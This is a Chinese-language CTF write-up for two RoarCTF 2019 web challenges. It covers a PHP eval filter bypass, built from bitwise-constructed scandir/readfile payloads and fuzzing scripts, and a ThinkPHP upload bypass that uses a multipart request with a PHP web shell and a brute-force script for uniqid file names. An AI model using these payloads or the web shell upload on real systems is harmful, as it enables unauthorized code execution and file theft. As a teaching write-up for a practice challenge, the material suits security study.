RoarCTF2019_web题解(待补充)

simple-calc

题目源码

后端存在waf,不能使用英文字母,但是可以使用数字还有一些运算符

<?php
error_reporting(0);
if(!isset($_GET['num'])){
    show_source(__FILE__);
}else{
        $str = $_GET['num'];
        $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
        foreach ($blacklist as $blackitem) {
                if (preg_match('/' . $blackitem . '/m', $str)) {
                        die("what are you want to do?");
                }
        }
        eval('echo '.$str.';');
}
?>

解法一

思路:1. 利用php7 新增特性会将括号内的字符当做字符串

2. 利用数字的与或反三种运算(^被过滤)得到全部a-z等字符
     3. 动态函数执行

php7特性,字符串括号拼接当做字符串

((999999999999999999999).(1)){3}|((999999999999999999999999).(1)){6}
u
((999999999999999999999).(1)){3}|((999999999999999999999999).(1)){4}
o

payload不能直接出现a数组其他的字符,否则会爆500,所以只能通过a数组中的字符进行与或得到其他额外字符

# -*- coding: utf-8 -*- 
a=['0','1','2','3','4','5','6','7','8','9','E','+','.']
b=[]
c=[]
d=[]


b1=[]
for i in a:
    for j in a:
        b.append(i+'或'+j+'-------'+chr(ord(i)|ord(j)))
        b1.append(chr(ord(i)|ord(j)))

c1=[]
for i in a:
    for j in a:
        c.append(i+'与'+j+'--------'+chr(ord(i)&ord(j)))
        c1.append(chr(ord(i)&ord(j)))


d1=[]
for i in set(b1+c1):
	for j in set(b1+c1):
		d.append(i+'与'+j+'--------'+chr(ord(i)&ord(j)))
		d1.append(chr(ord(i)&ord(j)))


print(set(d1+b1+c1))


# tmp=[]
# for i in set(d1+b1+c1):
#     print(bin(ord(i)))



a=raw_input("input you find: ")

for i in (b+c+d):
    if a in i:
        print(i)
        break

可以得到如下可用运算字符

set(['\x01', '\x00', '\x05', '\x04', '!', ' ', '#', '"', '%', '$', "'", '&', ')', '(', '+', '*', '-', ',', '/', '.', '1', '0', '3', '2', '5', '4', '7', '6', '9', '8', ';', ':', '=', '<', '?', '>', 'E', 'e', 'g', 'm', 'o', 'u', 'w', '}'])

那么问题了,这是可用字符的极限了,我们可以打印如上字符的二进制

最大位数是7bit,a-z的bit位数也正好是7位

先看出一个规律

6bit的字符,每个bit都可以通过与或得到0或1,可以得到6bit区间内的所有字符

7bit的字符,倒三字符还有倒一都是1,无法与或置为0,限制了7bit额外字符的生成,也就是限制了a-z字符生成

['0b1', '0b0', '0b101', '0b100', '0b100001', '0b100000', '0b100011', '0b100010', '0b100101', '0b100100', '0b100111', '0b100110', '0b101001', '0b101000', '0b101011', '0b101010', '0b101101', '0b101100', '0b101111', '0b101110', '0b110001', '0b110000', '0b110011', '0b110010', '0b110101', '0b110100', '0b110111', '0b110110', '0b111001', '0b111000', '0b111011', '0b111010', '0b111101', '0b111100', '0b111111', '0b111110', '0b1000101', '0b1100101', '0b1100111', '0b1101101', '0b1101111', '0b1110101', '0b1110111', '0b1111101']

所以解决额外字符的思路出来了,制造出一个7bit二进制数,可以尽可能制造多的字符以节省劳动力,就不用费劲心思去运算得到其他字符。

如下脚本fuzz使用哪个字符与可用字符与或,发现 ‘@’ 最好用 ,可以生成34个字符,二进制=>0b1000000

‘@’ 生成可以用 ~’?’=> (1或.——-?)

在赋值到main参数,fuzz出可用字符与或结果

import string
arr=['\x01', '\x00', '\x05', '\x04', '!', ' ', '#', '"', '%', '$', "'", '&', ')', '(', '+', '*', '-', ',', '/', '.', '1', '0', '3', '2', '5', '4', '7', '6', '9', '8', ';', ':', '=', '<', '?', '>', 'E', 'e', 'g', 'm', 'o', 'u', 'w', '}']
arr1=string.printable
print(len(arr1))


# fuzz可以创造出最多的字符
for flag in arr1:
    tmp=[]
    for i in arr:
        for j in arr1:
            if chr(ord(flag)&ord(i)) == j:
                tmp.append(j)
                #print(i+' [&] '+j)
                break
    print('[&]flag: '+ flag+"=>"+str(len(set(tmp))))
    print(set(tmp))

for flag in arr1:
    tmp=[]
    for i in arr:
        for j in arr1:
            if chr(ord(flag)|ord(i)) == j:
                tmp.append(j)
                #print(i+' [&] '+j)
                break
    print('[|]flag: '+ flag+"=>"+str(len(set(tmp))))
    print(set(tmp))

# 填入'@'逆推需要的字符    
main='@'

for i in arr:
    for j in arr1:
        if chr(ord(main)|ord(i)) == j:
            print(i+' [|] '+main+' => '+j)

for i in arr:
    for j in arr1:
        if chr(ord(main)&ord(i)) == j:
            print(i+' [&] '+main+' => '+j)

后面就手拼吧,脚本不会写了

首先构造scandir('/')扫描根目录下的文件,payload:
?num=((((9999999999999999999999).(1)){1})|(((9999999999999999999999).(1)){4})).((((1).(7)){1})%26(((9999999999999999999999).(1)){1})|(((100000000000000000000).(1)){3})%26(~((((1).(7)){1})|(((1).(0)){1})|(((1.1).(1)){1})))).((((1).(1)){1})).((((1).(1)){1})%26(((9999999999999999999999).(1)){4})|(((100000000000000000000).(1)){3})%26(~((((1).(7)){1})|(((1).(0)){1})|(((1.1).(1)){1})))).(((((9999999999999999999999).(1)){1})|(((9999999999999999999999).(1)){4}))%26(((1).(7)){1})|(((100000000000000000000).(1)){3})%26(~((((1).(7)){1})|(((1).(0)){1})|(((1.1).(1)){1})))).(((((9999999999999999999999).(1)){1})|(((9999999999999999999999).(1)){4}))%26(((1).(7)){1})|(((100000000000000000000).(1)){3})%26(~((((1).(7)){1})|(((1).(0)){1})|(((1.1).(1)){1}))))
readfile('/f1agg'),payload:

?num=(((((1).(2)){1})|(((100000000000000000000).(1)){3})%26(~((((1).(7)){1})|(((1).(0)){1})|(((1.1).(1)){1})))).(((((9999999999999999999999).(1)){1})|(((9999999999999999999999).(1)){4}))%26(((1).(5)){1})|(((100000000000000000000).(1)){3})%26(~((((1).(7)){1})|(((1).(0)){1})|(((1.1).(1)){1})))).((((1).(1)){1})%26(((9999999999999999999999).(1)){4})|(((100000000000000000000).(1)){3})%26(~((((1).(7)){1})|(((1).(0)){1})|(((1.1).(1)){1})))).((((1).(4)){1})%26(((9999999999999999999999).(1)){1})|(((100000000000000000000).(1)){3})%26(~((((1).(7)){1})|(((1).(0)){1})|(((1.1).(1)){1})))).((((1).(7)){1})%26(((9999999999999999999999).(1)){1})|(((100000000000000000000).(1)){3})%26(~((((1).(7)){1})|(((1).(0)){1})|(((1.1).(1)){1})))).((((1).(9)){1})%26(((9999999999999999999999).(1)){4})|(((100000000000000000000).(1)){3})%26(~((((1).(7)){1})|(((1).(0)){1})|(((1.1).(1)){1})))).(((((9999999999999999999999).(1)){4})|(((9999999999999999999999).(1)){1}))%26((((1).(4)){1})|(((1).(8)){1}))|(((100000000000000000000).(1)){3})%26(~((((1).(7)){1})|(((1).(0)){1})|(((1.1).(1)){1})))).(((((9999999999999999999999).(1)){1})|(((9999999999999999999999).(1)){4}))%26(((1).(5)){1})|(((100000000000000000000).(1)){3})%26(~((((1).(7)){1})|(((1).(0)){1})|(((1.1).(1)){1})))))(((((9999999999999999999999).(1)){1})|(((9999999999999999999999).(1)){4})).((((1).(7)){1})%26(((9999999999999999999999).(1)){1})|(((100000000000000000000).(1)){3})%26(~((((1).(7)){1})|(((1).(0)){1})|(((1.1).(1)){1})))).((((1).(1)){1})).((((1).(1)){1})%26(((9999999999999999999999).(1)){4})|(((100000000000000000000).(1)){3})%26(~((((1).(7)){1})|(((1).(0)){1})|(((1.1).(1)){1})))).(((((9999999999999999999999).(1)){1})|(((9999999999999999999999).(1)){4}))%26(((1).(7)){1})|(((100000000000000000000).(1)){3})%26(~((((1).(7)){1})|(((1).(0)){1})|(((1.1).(1)){1})))).(((((9999999999999999999999).(1)){1})|(((9999999999999999999999).(1)){4}))%26(((1).(7)){1})|(((100000000000000000000).(1)){3})%26(~((((1).(7)){1})|(((1).(0)){1})|(((1.1).(1)){1})))))

解法二

parse_str过waf或者http请求走私

dechex() 十进制转换为十六进制
hex2bin() 十六进制转换为ASCII字符
base_convert(num,frombase,tobase) 将num为frombase转换为指定进制tobase

var_dump(base_convert(61693386291,10,36)(hex2bin(dechex(47))))

var_dump(scandir(‘/‘))

1571201776415

readfile(/f1agg)

base_convert(2146934604002,10,36)(hex2bin(dechex(47)).(f1agg))

1571201900561

1571201983786

simple-Upload

题目

<?php
namespace Home\Controller;

use Think\Controller;

class IndexController extends Controller
{
    public function index()
    {
        show_source(__FILE__);
    }
    public function upload()
    {
        $uploadFile = $_FILES['file'] ;
        
        if (strstr(strtolower($uploadFile['name']), ".php") ) {
            return false;
        }
        
        $upload = new \Think\Upload();// 实例化上传类
        $upload->maxSize  = 4096 ;// 设置附件上传大小
        $upload->allowExts  = array('jpg', 'gif', 'png', 'jpeg');// 设置附件上传类型
        $upload->rootPath = './Public/Uploads/';// 设置附件上传目录
        $upload->savePath = '';// 设置附件上传子目录
        $info = $upload->upload() ;
        if(!$info) {// 上传错误提示错误信息
          $this->error($upload->getError());
          return;
        }else{// 上传成功 获取上传文件信息
          $url = __ROOT__.substr($upload->rootPath,1).$info['file']['savepath'].$info['file']['savename'] ;
          echo json_encode(array("url"=>$url,"success"=>1));
        }
    }
}

上传三个文件缩小时间爆破范围

strstr传入数组warning报错,回显false

1571108312495

$files为空直接赋值$_FILES变量,关键处

1571109934502

再处理$files数组,遍历键值对,解放$files二维数组为一维数组

1571111012921

调用配置文件中保存文件处理函数,uniqid函数

1571110449119

call_user_func_arrary 调用uniqid(),生成文件名。

1571110604190

保存文件

1571111166570

uniqid函数

1571202207913

思路

同时上传两个个文件,缩小爆破范围,远程可以上传三个文件更进一步缩小范围

本地显示爆破后3位就可以,远程需要后5位

1571109567467

文件上传exp

POST /index.php?m=home&c=index&a=upload HTTP/1.1
Host: umgmalytroarctf.4hou.com.cn:32901
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------9130902641497288610839855586
Content-Length: 387
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1

-----------------------------9130902641497288610839855586
Content-Disposition: form-data; name="file"; filename="as.txt"
Content-Type: text/plain

<?php phpinfo(); eval($_GET[_]); ?>
-----------------------------9130902641497288610839855586
Content-Disposition: form-data; name[1]="file"; filename="as.php"
Content-Type: text/plain

<?php phpinfo(); eval($_GET[_]); ?>
Content-Disposition: form-data; name="file"; filename="as.txt"
Content-Type: text/plain

<?php phpinfo(); eval($_GET[_]); ?>
-----------------------------9130902641497288610839855586
Content-Disposition: form-data; name="submit"

upload
-----------------------------9130902641497288610839855586--

后缀爆破

实在是太慢了,buuoj对多线程限制,就不爆了。

import requests
a=''
# for i in range(0x100,0xfff):
#     url = "http://51da9aa4-dbbf-495c-9eb4-00ffb16bde78.node2.buuoj.cn.wetolink.com:82/Public/Uploads/2019-10-15/5da5495e5d"+hex(i)[2:]+'.php'
#     rep = requests.get(url)
#     print(hex(i)[2:])
#     if 'Version' in rep.text:
#         print(url)
#         a+=url
#         sys.exit()
#         break
        
# for i in range(0x1000,0xffff):
#     url = "http://51da9aa4-dbbf-495c-9eb4-00ffb16bde78.node2.buuoj.cn.wetolink.com:82/Public/Uploads/2019-10-15/5da5495e5"+hex(i)[2:]+'.php'
#     rep = requests.get(url)
#     print(hex(i)[2:])
#     if 'Version' in rep.text:
#         print(url)
#         a+=url
#         sys.exit()
#         break
        

for i in range(0x6cd19,0xfffff):
    url = "http://51da9aa4-dbbf-495c-9eb4-00ffb16bde78.node2.buuoj.cn.wetolink.com:82/Public/Uploads/2019-10-15/5da5583e"+hex(i)[2:]+'.php'
    rep = requests.get(url)
    print(hex(i)[2:])
    if 'Version' in rep.text:
        print(url)
        a+=url
        sys.exit()
        break

for i in range(0xe6cd19,0xffffff):
    url = "http://51da9aa4-dbbf-495c-9eb4-00ffb16bde78.node2.buuoj.cn.wetolink.com:82/Public/Uploads/2019-10-15/5da5583"+hex(i)[2:]+'.php'
    rep = requests.get(url)
    print(hex(i)[2:])
    if 'Version' in rep.text:
        print(url)
        a+=url
        sys.exit()
        break

print(a)

wp

https://mp.weixin.qq.com/s?srcid=1016GXIy2HOar4STCzN93JIO&scene=23&sharer_sharetime=1571181198903&mid=2247483858&sharer_shareid=fbbfc02e7625095a3404e2482b0c7a95&sn=19234bf6611400ae9da5d9a49a233cde&idx=1&__biz=MzkwNzAwMDYyNQ%3D%3D&chksm=c0deaf8cf7a9269a32d928617d0c3eb11720914c591e0dc4d017450b9ef3809f2ed6a348a1b8&mpshare=1#rd